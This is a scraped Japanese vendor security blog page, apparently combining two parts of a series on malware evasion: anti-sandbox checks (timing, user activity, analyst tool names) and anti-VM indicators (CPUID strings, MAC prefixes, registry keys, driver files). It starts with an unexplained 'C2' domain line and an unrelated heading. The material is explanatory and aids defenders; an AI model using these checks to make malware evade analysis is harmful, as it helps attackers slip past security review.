C2: civilizationidium.com

Windows JavaScriptに関連した脅威

This blog, which follows up on our previous blog and is part of our series on different malware evasion techniques, will focus on various methods empl

malware-evasion-prt3.jpg

本ブログでは、&nbsp;<a href="https://www.deepinstinct.com/ja/blog/malware-evasion-techniques-part-2-anti-vm-blog" target="_blank" rel="noopener noreferrer">前回のブログ</a>&nbsp;に続き、様々なマルウェアの回避技術を紹介するシリーズの一環として、仮想化インフラ自体とは無関係で、より一般的な動的解析の回避を目的とした解析／サンドボックス環境を検知・回避するためにマルウェアが採用する Va<a href="https://deepinsarchive.wpengine.com/2019/10/29/malware-evasion-techniques-part-2-anti-vm-blog/rious&nbsp;">https://deepinsarchive.wpengin...</a>; の手法に焦点を当てます。<h3>解析環境/サンドボックスの検出と回避</h3>
Time-delay による回避
解析とサンドボックス回避の最もシンプルで長期的な方法の一つは、どんなサンドボックスでも、キューの中の次のサンプルに移る前に、各与えられた解析に有限の時間（通常は数分程度）しか割り当てられないという単純な前提に基づいています。
マルウェアは、この時間枠を超えて実行を遅らせることで、悪意のある行動や活動をサンドボックスから隠すことができます。これは、一般的に「Sleep」または「NtDelayExecution」のWindows APIを使用することで実現されますが、一部のサンドボックスはこの動作を回避するためにパッチを適用しています。この結果、一部のマルウェアは、分析/サンドボックス環境の追加指標としてこれらのパッチを検出するように進化しました。これは、タイムスタンプを取得して眠りにつき、目覚めたときにそのタイムスタンプを確認することで行われます。以前に取得したタイムスタンプとの時間差が、マルウェアがスリープするようにプログラムされた時間と大幅に異なる場合、マルウェアは実行を回避または調整します。同様のタイムスタンプ機構の例は、Deep Instinctが2018年の夏に発見した&nbsp;<a rel="noopener noreferrer" href="https://www.deepinstinct.com/ja/blog/meet-mylobot-a-new-highly-sophisticated-never-seen-before-botnet-thats-out-in-the-wild">MyloBot&nbsp;</a>に見られます。
ユーザー チェック
また、マルウェアの開発者は、サンドボックスや解析環境を回避するために、マルウェアが実行されているマシンを実際に操作しているユーザーがいるかどうかを確認する様々なチェックを行う方法を、時間をかけて追加してきました。
例 :<ul><li>マウスカーソルの位置 ：マウスのカーソルの位置が長期間にわたって変化しているかどうかをチェックすることで、実際のユーザーが操作していないマシンをマルウェアが検出することができます。マウスカーソルの位置が永続的に変化していることが判明した場合、そのマシンはサンドボックスである可能性が高くなります</li><li>最近開いたファイル数／デスクトップ上のファイル数：実行マシンで最近開いたファイル数やデスクトップ上のファイル数が少ないことが確認された場合、サンドボックスである可能性が高くなります</li><li>画面解像度 ：実行マシンのディスプレイ解像度が異常に低く（800×600など）、現代のユーザーが許容できないような場合、そのマシンはサンドボックスである可能性が高くなります</li><li>アプリケーション数/アクティブウィンドウ数/プロセス数の実行 ：現在実行中のアプリケーションや現在アクティブなウィンドウ、または現在実行中のプロセスの数が異常に少ない場合、そのマシンはサンドボックスである可能性が高いと言えます</li><li>低い CPU コア数/ RAM：CPU コア数や利用可能なシステム RAM の量が少ない場合（例：シングルCPUコア、1 GBの RAM ）、そのマシンはサンドボックスである可能性が高いと考えられます</li></ul>
リサーチャー対策チェック&nbsp;
マルウェアの開発者は、マルウェアの研究者やアナリストが一般的に使用しているツールについて理解を深め、実行マシン上にそのようなツールが存在したりアクティブであることが検出された場合には、その実行を回避または調整するようにマルウェアを適宜修正してきました。これらのツールには、デバッガ、ディスアセンブラ、ネットワーク監視ユーティリティ/スニファなどのユーティリティが含まれます。
例 :<ul><li>Wireshark.exe</li><li>Fiddler.exe</li><li>Procmon.exe / Procmon64.exe</li><li>Procexp.exe / Procexp64.exe</li><li>Sysmon.exe / Sysmon64.exe</li><li>ProcessHacker.exe</li><li>OllyDbg.exe</li><li>ImmunityDebugger.exe</li><li>Windbgx86.exe / Windbgx64.exe</li><li>x32dbg.exe / x64dbg.exe</li><li>Python.exe</li></ul><h3>まとめ</h3>
上述および&nbsp;<a href="https://www.deepinstinct.com/ja/blog/malware-evasion-techniques-part-2-anti-vm-blog" target="_blank" rel="noopener noreferrer">第 2 回のブログ</a>&nbsp;で述べたチェック、方法、および技術を任意の数だけ組み合わせて採用することで、マルウェアは環境認識をかなりの程度まで高め、望ましくない環境で実行されていることを検出した場合には、その実行を回避または調整することができます。
マルウェアの開発者とマルウェアの研究者やアナリストとの間では、検出を回避したり改善したりするための独自の方法や手段を開発しながら、常に猫とネズミのゲームが進行しています。シリーズの最終回となる第4回目のブログでは、<a href="https://www.deepinstinct.com/ja/blog/malware-evasion-techniques-part-4-living-off-the-land" target="_blank" rel="noopener noreferrer">Living off the Land techniques&nbsp;</a>のテクニックについてご紹介します。

アンチサンドボックス化 マルウェア回避テクニック第 3 回：

Part of the process of malware analysis and investigation is dynamic analysis – simply put, in this type of analysis, malware (or suspected malware) s

malware-evasion-prt2.jpg

マルウェアの解析や調査のプロセスの一部に動的解析があります。簡単に言うと、この種の解析では、マルウェア（またはその疑いのあるマルウェア）のサンプルを仮想化された環境で実行させます。このタイプの分析では、マルウェア（または疑わしいマルウェア）のサンプルを仮想環境内で実行させ、その動作、流れ、通信などをすべて観察、記録、分析し、他の既知の悪意のある、または疑わしい動作や指標と比較します。
当然のことながら、既存のマルウェアの新しい亜種や、まったく新しい種類のマルウェアがこのような方法で検出された場合、より多くのセキュリティベンダーやソリューションがそのマルウェアを認識してブロックするため、そのマルウェアの野生での有効性が急激に低下するまでに時間はかかりません。
この事実を認識した上で、レーダーから逃れ、マルウェアの寿命をできる限り延ばすために、マルウェアの開発者は、動的解析を妨げるさまざまなメカニズムを組み込むことがあります。
&nbsp;<a href="https://www.deepinstinct.com/ja/blog/malware-evasion-techniques-part-1-process-injection-and-manipulation" target="_blank" rel="noopener noreferrer">このブログ</a>&nbsp;では、様々なマルウェアの回避技術を紹介するシリーズの一環として、マルウェア開発者がマルウェアの仮想化実行を検知するために採用している一般的な VM 検知技術に焦点を当て、このトピックの入門編とすることを目的としています。<h3>Radarの下を行く</h3>
マルウェアの開発者が解析・研究環境でのマルウェアの実行を妨げるために採用しているアプローチは主に 2 つあり、ほとんどのマルウェアはこれらのアプローチを様々に組み合わせて採用しています。<ul><li>仮想化の検出と回避 – このアプローチでは、解析システムで採用されている仮想化インフラ（Hyper-V、VMWare、VirtualBox、QEmuなど）のアーティファクトを検出することに重点を置いています。解析システムには、任意の数の仮想マシンをホストする大規模なサンドボックスシステムから、研究者やアナリストが維持する個々の解析マシンや研究マシンなどの小規模なシステムまであります</li><li>解析環境/サンドボックスの検出と回避 – このアプローチでは、解析システムで使用されているインフラストラクチャを検出するのではなく、デバッガなどの解析ツールや、SysInternals スイートなどのマルウェア解析で一般的に使用されているツールの存在や、マルウェアが解析環境やサンドボックスで実行されているという事実のヒントとなるような他のアーティファクトに焦点を当てます。このトピックは、次回のブログ記事で取り上げます</li></ul>
マルウェアを解析して検出しようとする試みを阻止するために、マルウェア作者はアンチバーチャルマシン（ant-VM）技術を使用します。この技術を採用することで、マルウェアが仮想マシン内で実行されているかどうかを検出するように設計されており、仮想マシンが検出された場合、マルウェアは別の動作をするか、まったく実行されないようになります。当然のことながら、これはセキュリティアナリストにとって大きな頭痛の種となります。仮想マシン対策の技術は、スパイウェアやボットなど、より増殖力の強いタイプのマルウェアによく見られます。大企業の魅力的な「ハニーポット」は、セキュリティ・インフラストラクチャの一部として仮想マシンを備えていることが多いため、マルウェアは通常、仮想マシンが動作している可能性の低い一般ユーザのマシンを標的とします。<h3>仮想化の検知と回避</h3>
CPUID チェック
CPUID は、最近のほとんどの CPU アーキテクチャに搭載されている命令です。CPUID は、ソフトウェアが実行されているマシンのプロセッサに関するさまざまな詳細情報を発見することを目的としています。<ul><li>例 1:</li></ul>
EAX=0 を入力としてこの命令を呼び出すと、CPU のメーカー ID 文字列が返されます。この文字列は 12 文字の ASCII 文字列で、EBX、EDX、ECX の順に格納されます。
インテルまたは AMD の物理的な CPU で動作するマシンでは、この文字列はそれぞれ「GenuineIntel」または「AuthenticAMD」となります。
Microsoft の Hyper-V または VMware で動作するマシンでは、この文字列は “Microsoft HV “または “VMwareVMware “となります。<ul><li>例 2:</li></ul>
EAX=1 を入力として CPUID を呼び出すと、&nbsp;<a rel="noopener noreferrer" href="https://en.wikipedia.org/wiki/CPUID#EAX.3D1:_Processor_Info_and_Feature_Bits" onclick="javascript:window.open('https://en.wikipedia.org/wiki/CPUID#EAX.3D1:_Processor_Info_and_Feature_Bits'); return false;">Processor Info and Feature Bits</a>&nbsp;が返され、基本的には CPU に関するさまざまな詳細情報が表示されます。
物理マシンでは、返却された ECX レジスタの 31 ビット目が 0 になりますが、仮想マシンでは 1 になります。
MAC アドレス チェック
MAC アドレスとは、マシン上のネットワーク インターフェース コントローラーに割り当てられた固有の識別子です。MAC アドレスの接頭辞を調べることで、ネットワーク アダプターのメーカーを特定することができます。これは、「ipconfig /all」または「wmic nic list」コマンドを使って簡単に行うことができます。
例えば、多くの PC メーカーにネットワークハードウェアを供給している Broadcom 社のネットワークアダプターは、以下のいずれかの接頭語で始まります。(一部を抜粋)<ul><li>E0:3E:44</li><li>00:10:18</li><li>D4:01:29</li><li>00:0D:E6</li></ul>
VMware のネットワークアダプターは、以下のいずれかで起動します :<ul><li>00:1C:14</li><li>00:50:56</li><li>00:05:69</li><li>00:0C:29</li></ul>
VirtualBox のネットワークアダプタは 08:00:27 から、Hyper-V は 00:03:FF から始まります。
レジストリ チェック
仮想化された Windows 環境には、物理マシンではあまり見られない様々なレジストリ エントリが含まれていることが多く、その存在はマルウェアが VM 上で実行されていることを示すヒントになります。
例 :<ul><li>Generic:</li></ul>
\HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\”Identifier”; ”&lt;value&gt;” \HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion\”SystemBiosVersion”;”&lt;value&gt;”<ul><li>VMware:</li></ul>
\HKEY_CURRENT_USER\Software\VMware, Inc.\* \HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\* \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SCSI\*VMware*\* \HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\*VMware*\*<ul><li>VirtualBox:</li></ul>
\HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ \HKEY_LOCAL_MACHINE\HARDWARE\ACPI\FADT\VBOX__ \HKEY_LOCAL_MACHINE\HARDWARE\ACPI\RSDT\VBOX__ \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VBox* \HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions\*
プロセス チェック
仮想化された Windows 環境では、その運用を容易にするために、物理マシンでは通常見られない特定のプロセスが実行されています。これは、「wmic process」や「tasklist」コマンドで簡単に行うことができます。
例 :<ul><li>VMware:</li></ul>
VGAuthService.exe vmacthlp.exe vmtoolsd.exe<ul><li>VirtualBox:</li></ul>
VBoxService.exe VBoxTray.exe
サービス チェック
仮想化されたWindows環境では、物理的なマシンには存在しない特定のサービスが提供されていることがよくあります。これは、「sc query」や「wmic service list」コマンドで簡単に実現できます。
例 :<ul><li>VMware:</li></ul>
VMTools vmvss VGAuthService VMware Physical Disk Helper Service<ul><li>VirtualBox:</li></ul>
VBoxService
ファイル チェック
仮想化された Windows 環境には、これまで説明してきたものに加えて、特定のファイル（通常はドライバー）が含まれていることが多く、このファイルの存在が仮想化されていることを示しています。
例 :<ul><li>VMware:</li></ul>
C:\Windows\System32\drivers\vmhgfs.sys C:\Windows\System32\drivers\vmmemctl.sys C:\Windows\System32\drivers\vmmouse.sys C:\Windows\System32\drivers\vmrawdsk.sys<ul><li>VirtualBox:</li></ul>
C:\Windows\System32\drivers\VBoxMouse.sys C:\Windows\System32\drivers\VBoxGuest.sys C:\Windows\System32\drivers\VBoxSF.sys C:\Windows\System32\drivers\VBoxVideo.sys<h3>Caught in the Act</h3>
上記の技術を使用することで、マルウェアは多くの場合、仮想化環境で実行されているかどうかを検出し、その実行を回避または調整することができます。マルウェアが仮想化環境で正常に実行される可能性を最大限に高めるためには、自社の解析環境でこれらのアーティファクトに対処することをお勧めします。
&nbsp;<a href="https://www.deepinstinct.com/ja/blog/malware-evasion-techniques-part-3-anti-sandboxing" target="_blank" rel="noopener noreferrer">次のブログ</a>&nbsp;では、マルウェアの開発者が、サンドボックスや解析環境を回避するために、マルウェアが実行されるマシンを実際に操作しているユーザーがいるかどうかを様々な方法で確認する方法を、時間をかけて追加してきたことをご紹介します。

アンチ VM ブログ マルウェアの回避テクニック第 2 回

2022年ガートナー®マジック・クアドラントのEPP